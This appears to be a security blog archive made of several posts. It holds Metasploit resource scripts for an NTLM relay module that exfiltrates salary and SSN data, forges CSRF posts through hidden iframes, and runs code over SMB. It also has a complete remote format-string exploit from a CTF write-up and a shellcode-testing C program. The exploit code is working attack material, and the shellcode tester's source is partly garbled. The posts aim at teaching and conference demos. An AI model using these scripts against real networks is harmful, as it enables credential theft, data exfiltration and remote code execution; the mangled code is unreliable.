Metasploit Generic NTLM Relay Module

I recently put in a pull request for a Metasploit module I wrote that does NTLM relaying (I recommend this post for some background). I also have a time slot for a tool arsenal thing at blackhat. Here’s the description:

NTLM auth blobs contain the keys to the kingdom in most domain environments, and relaying these credentials is one of the most misunderstood and deadly attacks in a hacker’s corporate arsenal. Even for smart defenders it’s almost like a belief system; some people believe mixed mode IIS auth saves them, NTLMv2 is not exploitable, enabling the IIS extended protection setting is all you need, it was patched with MS08-068, you have to be in the middle, you have to visit a website, you have to be an administrator for the attack to matter, etc. etc.

http_ntlm_relay is a highly configurable Metasploit module I wrote that does several very cool things, allowing us to leverage the awesomeness of Metasploit and show the way for these non-believers:

  • HTTP -> HTTP NTLM relay with POST, GET, HTTPS support.
  • HTTP -> SMB NTLM relay with ENUM_SHARES, LS, WRITE, RM, and EXEC support. This extended support allows a lot of interesting attacks against non admins and multiple browsers that aren’t currently available in Metasploit.
  • NTLMv2 support, which means that this attack now works a lot more often on modern windows environments.
  • Mutex support allowing information from one request to be used in a future request. A simple example of this would be a GET to retrieve a CSRF token used in a POST. A more complex example would be an HTTP GET request to recover computer names, and then using that information to SMB relay to those computers for code execution.

It will be open source and I’ll try my darndest to get it included in Metasploit proper before Blackhat.

With this module, I made a choice for flexibility over some other things. Although basic usage is fairly straightforward, some of the more advanced functionality might not be. This post will give some usage examples. I have desktop captures of each example, full screen and HD those suckers if you want to see what’s going on.

Stealing HTTP Information

Corporate websites that use NTLM auth are extremely common, whether they’re sharepoint, mediawiki, ERP systems, or (probably most commonly) homegrown applications. To test my module out, I wrote a custom application that uses Windows Auth. I did it this way so I could easily reconfigure without too much complexity (although I have tested similar attacks against dozens of real sharepoint sites, mediawiki, and custom webpages). This simple example is an app that displays some information about the user visiting. Think of it as an internal paystub app that HR put up.

IIS is set to authenticate with Windows auth:

All domain accounts are authorized to see their own information, which it grabs out of a DB:


<asp:SqlDataSource
    id="SqlDataSource1"
    runat="server"
    DataSourceMode="DataReader"
    ConnectionString="<%$ ConnectionStrings:ApplicationServices%>">

...

Username.Text = Page.User.Identity.Name;
String username = Page.User.Identity.Name;

SqlDataSource1.SelectCommand = "SELECT * FROM Employee WHERE username='" + Page.User.Identity.Name + "'";
GridView1.DataBind();

So let’s attack this, shall we? I made the following resource file:

#This simple resource demonstrates how to collect salary info from an internal HTTP site authed with NTLM
#to extract run the ballance_extractor resource

unset all
use auxiliary/server/http_ntlmrelay
set RHOST mwebserver
set RURIPATH /ntlm/EmployeeInfo.aspx
set SYNCID empinfo
set URIPATH /info
run

Now our HTTP server sits around and waits for someone to connect. Once someone does and sends their NTLM creds, the credentials are passed along to the web server, and the data is saved to the notes database. We can look at this HTML, or with the data at our disposal, we can extract the relevant info with a resource script.

#extract the mealcard information from the database


<ruby>
#data is the saved response
def extract_empinfo(data)
	fdata = []
	bleck = data.body
	empdata = bleck.split('<td>')[2..-1]
	empdata.each do |item|
		fdata.push(item.split('</td>')[0])
	end
	return (fdata)
end


framework.db.notes.each do |note|
	if (note.ntype == 'ntlm_relay')
		begin
			#SYNCID was set to "empinfo" on the request that retrieved the relavent values
			if note.data[:SYNCID] == "empinfo"
				empinfo = extract_empinfo(note.data[:Response])
				print_status("#{note.data[:user]}: Salary #{empinfo[0]}  |  SSN: #{empinfo[4]}")
			end
		rescue
			next
		end
	end
end
</ruby>


Here’s that in action.

HTTP CSRF

Whether they be HTTP requests or something else, a lot of the really interesting attacks simply require more than one request. Look at any time we want to POST and change data. If the website has protection against CSRF, this should take at least two requests – one to grab the CSRF token and another to do the POST that changes state.

In my dummy app, a member of the “cxo” active directory security group has permission to edit anyone’s salary. This extreme functionality for a privileged few is super common. Think ops administration consoles, help desk type tools, HR sites, etc. The goal of this attack is to change “mopey’s” salary to -$100 after a member of the cxo group visits our site.

The first step for me is just to run the interface as normal through an HTTP proxy. In this case, it took three requests for me to edit the salary, and each request requires data to be parsed out – namely the VIEWSTATE and EVENTVALIDATION POST values. HTTP_ntlmrelay was designed to support this sort of scenario. We’ll be using the SYNCFILE option to extract the relevant information and update the requests dynamically.

Here’s the resource file


#This demonstrates how to do a CSRF against an "HR" app using NTLM for auth
#It grabs the secret from a GET request, then a POST request and uses that secret in a subsequent POST request
#This is a semi-advanced use of this auxiliary module, demonstrating how it can be customized

#to use, from msf run this resource file, and force a victim to visit a page that forces the 3 requests
#to modify the content put in the wiki, edit extract_2.rb

unset all
use auxiliary/server/http_ntlmrelay
set RHOST mwebserver
set RTYPE HTTP_GET
set RURIPATH /ntlm/Admin.aspx
set URIPATH /grabtoken1
set SYNCID csrf
run
set SYNCID csrf2
set URIPATH /grabtoken2
set RTYPE HTTP_POST
set SYNCFILE /root/ntlm_relay/bh_demos/http_csrf/extract_1.rb
set HTTP_HEADERFILE /root/ntlm_relay/bh_demos/http_csrf/headerfile
run
unset SYNCID
set URIPATH /csrf
set SYNCFILE /root/ntlm_relay/bh_demos/http_csrf/extract_2.rb
set HTTP_HEADERFILE /root/ntlm_relay/bh_demos/http_csrf/headerfile
run

extract_1.rb extracts the secret information from the first GET request, which the second request uses. Note the requests go one at a time – you have a guarantee one request will completely finish before the next one begins.

# cat extract_1.rb
#grab the request with the ID specified

#extract the viewstate value
def extract_viewstate(data)
	bleck = data.body
	viewstate = bleck.split('"__VIEWSTATE"')[-1].split("\" />")[0].split('value="')[1].strip
	return viewstate
end

#extract the Eventvalidation
def extract_eventvalidation(data)
	bleck = data.body
	eventvalidation = bleck.split('"__EVENTVALIDATION"')[-1].split("\" />")[0].split('value="')[1].strip
	return eventvalidation
end

framework.db.notes.each do |note|
	if (note.ntype == 'ntlm_relay')
		#SYNCID was set to "csrf" on the request that retrieved the relavent values
		if note.data[:SYNCID] == "csrf"
			print_status("Found GET request containing CSRF stuff. Extracting...")
			viewstate = extract_viewstate(note.data[:Response])
			eventvalidation = extract_eventvalidation(note.data[:Response])

			datastore['FINALPUTDATA'] = (
				"__EVENTTARGET=ctl00%24MainContent%24GridView1&__EVENTARGUMENT=Edit%243&__VIEWSTATE=" +
				Rex::Text.uri_encode(viewstate) + "&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=" +
				Rex::Text.uri_encode(eventvalidation)
				)
			puts(datastore['FINALPUTDATA'])
		end
	end
end

extract2.rb is nearly identical, except the POST data needs our CSRF values and the requests we’re parsing are different (we have a separate syncid we’re looking for).

# cat extract_2.rb
#grab the request with the ID specified

new_salary = "-100"
victim = "EVIL%5Cmopey"

#extract the viewstate value
def extract_viewstate(data)
	bleck = data.body
	viewstate = bleck.split('"__VIEWSTATE"')[-1].split("\" />")[0].split('value="')[1].strip
	return viewstate
end

#extract the Eventvalidation
def extract_eventvalidation(data)
	bleck = data.body
	eventvalidation = bleck.split('"__EVENTVALIDATION"')[-1].split("\" />")[0].split('value="')[1].strip
	return eventvalidation
end

framework.db.notes.each do |note|
	if (note.ntype == 'ntlm_relay')
		#SYNCID was set to "csrf" on the request that retrieved the relavent values
		if note.data[:SYNCID] == "csrf2"
			print_status("Found Second request containing CSRF stuff. Extracting...")
			viewstate = extract_viewstate(note.data[:Response])
			eventvalidation = extract_eventvalidation(note.data[:Response])

			datastore['FINALPUTDATA'] = (
				"__EVENTTARGET=ctl00%24MainContent%24GridView1%24ctl05%24ctl00&__EVENTARGUMENT=&__VIEWSTATE=" +
				Rex::Text.uri_encode(viewstate) + "&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=" +
				Rex::Text.uri_encode(eventvalidation) + "&ctl00%24MainContent%24GridView1%24ctl05%24ctl02=" +
				victim + '&ctl00%24MainContent%24GridView1%24ctl05%24ctl03=' + new_salary
				)
			puts(datastore['FINALPUTDATA'])
		end
	end
end

The HTTP_HEADERS options is easier to explain. In the file, it’s just a list of HTTP_HEADERS…

# cat headerfile
Content-Type: application/x-www-form-urlencoded

Lastly, I put all three requests in a nice rick roll package. This is the site the victim will visit with their browser in the final attack.

<iframe src="http://192.168.138.132:8080/grabtoken1" style='position:absolute; top:0;left:0;width:1px;height:1px;'></iframe>
<iframe src="http://192.168.138.132:8080/grabtoken2" style='position:absolute; top:0;left:0;width:1px;height:1px;'></iframe>
<iframe src="http://192.168.138.132:8080/csrf" style='position:absolute; top:0;left:0;width:1px;height:1px;'></iframe>

<h1>Never gonna Give you Up!!!</h1>
<iframe width="420" height="315" src="http://www.youtube.com/embed/dQw4w9WgXcQ" frameborder="0" allowfullscreen></iframe>


Here’s the whole thing in action. In this video I fail the rickroll due to my lack of IE flash, but the attack works. Despite good CSRF protection, mopey’s salary is successfully modified by visiting a malicious website.

Yes, it’s kind of complicated to parse HTML and extract values, but that’s just the nature of the problem. I’ve done this several times. In this archive there’s a mediawiki POST that edits an NTLM authed page. It’s similar to above, but requires a multipart form and a authentication cookie (which you can use the headerfile option for). HTTP_ntlmrelay is designed to do one request at a time, but multiple requests can easily be stacked on the browser side (like I did here with the hidden iframes).

SMB File Operations

There’s (usually) no reason you can’t use a browser’s NTLM handshake to authenticate to an SMB share, and from there, all the regular file operations you’d expect should be possible. Because there’s no custom HTML to parse or anything, this is actually a lot simpler to demonstrate. The setup is the same as above, a fully patched browser client from one machine being relayed to a separate fully patched default win 2008R2 domain machine (mwebserver).

#This simple resource simply enums shares, reads, writes, ls, and pwn

unset all
use auxiliary/server/http_ntlmrelay
set RHOST mwebserver
set RPORT 445
#smb_enum
set RTYPE SMB_ENUM
set URIPATH smb_enum
run
#SMB_PUT
set RTYPE SMB_PUT
set URIPATH smb_put
set RURIPATH c$\\secret.txt
set PUTDATA "hi ima secret"
set VERBOSE true
run
#smb_ls
unset PUTDATA
set RTYPE SMB_LS
set URIPATH smb_ls
set RURIPATH c$\\
run
#smb_get
set RTYPE SMB_GET
set URIPATH smb_get
set RURIPATH c$\\secret.txt
run
#smb_rm
set RTYPE SMB_RM
set URIPATH smb_rm
set RURIPATH c$\\secret.txt
run

Another cool thing. With current attacks like the smb_relay module you pretty much need to be an admin, and that’s still true here if you want to start services. But any Joe that can authenticate might be able to write/read to certain places. Think about how corporate networks might do deployment with development boxes, distribute shared executables, transfer shares, etc and you might get the idea. Below I replace somebody’s winscp on their Desktop with something that has a winscp icon and just does a system call to calculator (this is from a different lab but the idea applies anywhere)

SMB Pwn

How does psexec work? Oh yeah, it uses SMB :) You astute folks may have known this all along, but showing this off to people… they’re just amazed at how pwned they can get by visiting a website.

This can be super simple. Here’s an example that tries to execute calc.exe. It’s flaky on 2008r2 because windows is trying to start calc as a service… but it still pretty much works if you refresh a few times.

#This simple resource simply executes calculator

unset all
use auxiliary/server/http_ntlmrelay
set RHOST mwebserver
set RTYPE SMB_PWN
set RPORT 445
set RURIPATH %SystemRoot%\\system32\\calc.exe
set URIPATH smb_pwn

MUCH more reliable is to create a service that has at least onstart, onstop methods. This next video has three requests, one to upload a malicious binary with smb_put, a second call to smb_pwn, and a third to remove the binary. This is similar to what the current metasploit smb_relay and psexec modules do automatically. Here I upload a meterpreter service binary that connects back to my stage 2, and then executes a packed wce to dump the user’s password in cleartext.

This is my favorite demo, because it shows the user’s cleartext passwords from just visiting a website or viewing an email.

Conclusions

So like I mentioned before, I have a tool arsenal thing next week at Blackhat, so that would be cool if people stopped by to chat. Also, at the time of this writing this hasn’t made it into Metasploit proper yet, but I hope it makes it eventually! Egypt gave me a bunch of good fixes to do. I’ve made most the changes, I just haven’t committed them yet (but I probably will tomorrow, barring earthquakes and whatnot).

Mitigations are a subject I don’t cover here. I think this deserves a post of its own, since misconceptions about relaying are so prevalent. Until then, this might be a good starting point: http://technet.microsoft.com/en-us/security/advisory/973811.

PPP pwnables 99

PPP rocks, and even though I spent the entire CTF time this year solving just two pwnables (this being one of them) I had a ton of fun. This is a tutorial on one of their challenges that took me way too long, and even then I needed a pointer (no pun intended ha ha). I’ve seen other solutions for this posted, but here’s yet another one. I know I’ve talked with some people who wouldn’t know where to start, so this is a basic tutorial for a relatively basic problem.

They give you a tar file (linked here as 2012ppp_pwn99.tar) and an endpoint.  I encourage you to give this a whirl. In the game you had to exploit this remotely on a machine you don’t have access to, which is actually the point where I got a bit stuck. So don’t cheat and put the shellcode in an environment variable or something.

Solution Walkthrough

The first step is to disassemble. There are several clear vulnerabilities in the main file. For example, there are at least three format strings in this block that looks something like:

.text:080489DA lea     edx, [esp+54h]
.text:080489DE mov     eax, [esp+50h]
.text:080489E2 mov     [esp+8], edx             ; format
.text:080489E6 mov     dword ptr [esp+4], 100h  ; char
.text:080489EE mov     [esp], eax               ; s
.text:080489F1 call    _sn_printf

esp+54h comes from the user (STDIN), and it’s the ‘username’ you enter, so with this format string we should be good to go. There are plenty of references on how to exploit format strings online, so I won’t cover the gritty details here. But I will link to some of my favorite references.

To exploit, we would like to hit one of these format strings. Backtracing to see how this block is hit, you first need to “win”. So there are three pieces of user input it retrieves at the beginning.

  1. The password. This is just hard coded as 2ipzLTxTGOtJE0Um
  2. The username. This has our format strings later on, but it doesn’t look like there’s any “winning” logic based on this
  3. “Guess”

“Guess” is kind of interesting. It calls time, then with that value it does a few arithmetic operations (imul, sar, sub) which ends up just dividing time by sixty. It uses this as an argument to srand, and then calls rand. So if you’re accurate within 60 seconds you’re close enough. You can get this close enough value with the following snippet, referencing glibc with ctypes:

#get the correct guess
libc = cdll.LoadLibrary("libc.so.6")
a= libc.time(a)
seconds = a/60
libc.srand(seconds)
guess = libc.rand()

With the password and the guess, you’re set to reach the format string. Because the binary just goes to stdin and stdout, I tested this locally using netcat. One small trick here is to set ulimit to unlimited so when the program crashes you can examine the dump with “gdb ./problem core”:

ulimit -c unlimited
ncat --exec ./problem -l 56345

First thing I wrote sockets to interact with the binary. Once that was working I figured out the offset was 19 by just adding %08x %08x…. Then, the following was to overwrite the syslog got entry found in the binary. Because there’s a call later to syslog, we can overwrite that with arbitrary values.

syslog_got = 0x8049e04
#eip b7fde30b
HOW = 0x4141
LOW = 0x4141
username = struct.pack("P", syslog_got +2) + struct.pack("P", syslog_got) + "%." + str(HOW-8) +"x%19$hn%." + str(LOW-HOW)+ "x%20$hn"

At this point we control eip. I actually got this far relatively quickly. But where do we put our shellcode? At the format string, there aren’t any registers pointing near buffers we control. Theoretically username is big enough to fit in some shellcode… so that’s a possibility. Fgets buffers input, so my initial strategy was to output a giant nop sled after the format string as a place for the shellcode. Because it’s a format string, you can search for memory… So I actually got this working so I was reliably able to exploit locally across reboots, but I could never get it to work on their remote server. They weren’t using ASLR, and I wrote a program to search memory using the format string to look for my nop sled, but I was never able to find the shellcode anywhere.

Anyway, this is where I got a good pointer in the right direction by someone much better than me on the team. What he discovered was you could use the libc they included to overwrite the call to free (which has our username) with system. It uses the username for a parameter also, and is called immediately after the format string. Here’s the call to free:

.text:08048A02 mov     eax, [esp+50h]
.text:08048A06 mov     [esp], eax      ; ptr
.text:08048A09 call    _free

So we could make our username something like “command to execute#%08x…”, so that the system call executes up to the comment, and after that is our format string. Our final username can contain the commands first, and then the format string.

The only missing piece was finding the system address. This is how I found it.

  1. the printf function has a got address of 0x08049e2c
  2. Remember there’s no aslr or varying address. Using the read piece of the format string, you read the value at the got printf address- e.g. pass it to this function def read_format(location):
  3. Look at the hex step 2 returns. In this case it was (in little endian) 0xf7ed64f0
  4. They included a libc.so.6 file.  Looking at that system is at offset 0x39450 and printf is at offset 0x474f0
  5. So  hex (0xf7ed64f0 + (0x39450- 0x474f0)) is ‘0xf7ec8450L’, the real address of system

Knowing the real address of system, we can overwrite the got address for the free function.

The real final piece was making sure %hn was correct with the prepending commands, which changed the length of the string (and thus the values of %hn). To do this, I padded the commands to 28 characters, and took 28 from my %.<number> piece of the format string.  Anyway, here is my final exploit.


from ctypes import *
import socket
import struct
import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument('cmd' )
parser.add_argument('--host', default='23.20.104.208')
parser.add_argument('--port', type=int, default=56345)
parser.add_argument('--vm', dest='host', const="192.168.153.143", action="store_const")
args = parser.parse_args()

#constants
syslog_got = 0x8049e04
free_got   = 0x8049e18
#system_address calculated from included libc.so offsets and read free value
system_address = 0xf7ec8450


def address_overwrite_format(owlocation, owvalue):
	HOW = owvalue >> 16
	LOW = owvalue & 0xffff
	print hex(HOW)
	print hex(LOW)
	mformat = ""
	if LOW > HOW:
		mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(HOW-8-28) +"x%26$hn%." + str(LOW-HOW) + "x%27$hn" 
	else:
		print "here"
		mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(LOW-8-28) +"x%27$hn%." + str(HOW-LOW) + "x%26$hn" 
	return mformat


def read_format(location):
	#%19 without padding
	mlocation = struct.pack("<I", location) + " ((((%19$08s))))"
	return (mlocation )

def extract_hex(mstr):
	print mstr
	#must be in a format (((hex)))
	a = mstr.split("((((")[1].split("))))")[0]
	for ch in a:
		sys.stdout.write(hex(ord(ch))+ " ")
	print ""

def pwn(username, extrastuff = ""):
	#get the password (found from strings)
	passwd = "2ipzLTxTGOtJE0Um"
	#get the correct guess
	libc = cdll.LoadLibrary("libc.so.6")
	a = 0
	a= libc.time(a)
	seconds = a/60
	libc.srand(seconds)
	guess = libc.rand()
	#format string in the username

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(4)
	s.connect((args.host, args.port))
	print s.recv(1024)

	s.send(passwd + "\n")

	print s.recv(1024)
	s.sendall(username + "\n")
	print s.recv(1024)
	s.sendall(str(guess) + "\n" + extrastuff)
	retval = s.recv(1024)
	retval += s.recv(1024)
	s.close()
	return retval

def padcmd(cmd):
	#cmd must be exactly 28 bytes long
	if len(cmd) > 27:
		print "Error: cmd too long"
		sys.exit(-1)
	cmd = cmd + "#" + "A" * (27- len(cmd))
	return cmd

#f = read_format(0x8049e30)
f = address_overwrite_format(free_got, system_address)
execcmd = padcmd(args.cmd)
a = pwn(execcmd + f)
print a
#extract_hex(a)

Format String Exploits

This is an oldie but goodie. I’ve seen format string bugs in the past, and have even exploited a few using the “magic formula”. Today, I thought it would be a good time to actually sit down and figure out how they work. The below link is an excellent resource to anyone learning about these.

http://www.cgsecurity.org/Articles/SecProg/Art4/

print shell code

From the book “Buffer Overflow Attacks” by Foster and others, I came across this very handy tool for testing developing shellcode.  It takes your assembly and puts it into a well commented C array to be tested by execution or simply printing to the screen.

To compile thes program, type gcc -o printshell printshellcode.c

Now, if you want to try out your shellcode assembly,

  • Type the instructions in a .S file
  • Execute nasm -o <filename> <filename>.S
    • To print the shellcode use printshellcode -p <filename>.
    • To execute the shellcode use printshellcode -e <filename>
/*printshellcode.c*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
/*Print message function*/
static void croak(const char *msg){
    fprintf(stderr, "%s\n", msg);
    fflush(stderr);
}

/*Usage funcion*/
static void usage(const char *prgnam){
    fprintf(stderr, "\nExecute code : %s -e \n", prgnam);
    fflush(stderr);
    exit(1);
}

/*Signal error and bail out*/
 static void barf(const char *msg){
    perror(msg);
    exit(1);
}

/*main*/
int main(int argc, char **argv){

    FILE	*fp;
    void	*code;
    int		i,l,arg;
    int		m=15; /* max number of bytes on a line*/

    struct stat sbuf;
    long	flen; /*assume files are &lt; 2**32*/
    void	(*fptr)(void);

    if(argc &lt; 3) usage(argv[0]);
    if(stat(argv[2], &amp;sbuf)) barf(&quot;failed to stat file&quot;);
    flen = (long) sbuf.st_size;
    if(!(code = malloc(flen))) barf(&quot;failed to grab enough memory&quot;);
    if(!(fp = fopen(argv[2], &quot;rb&quot;))) barf(&quot;failed to open file&quot;);
    if(fclose(fp)) barf(&quot;failed to close file&quot;);

    while ((arg = getopt (argc, argv, &quot;e:p:&quot;)) != 1){
      switch(arg){
        case 'e':
          croak(&quot;Calling code ...&quot;);
          fptr = (void (*)(void)) code;
          (*fptr)();
          break;
        case 'p':
          printf(&quot;\n/* The following shellcode is %d bytes long: */\n&quot;,flen);
          printf(&quot;\nchar shellcode[] = \n&quot;);
          l = m;
          for(i = 0; i= m){
              if(i) printf("\"\n");
              printf( "\t\"");
              l = 0;
            }
            ++l;
            printf("\\x%02x", ((unsigned char *)code)[i]);
          }
          printf("\";\n\n\n");
          break;

        default:
          usage(argv[0]);
      }
    }
    return 0;
}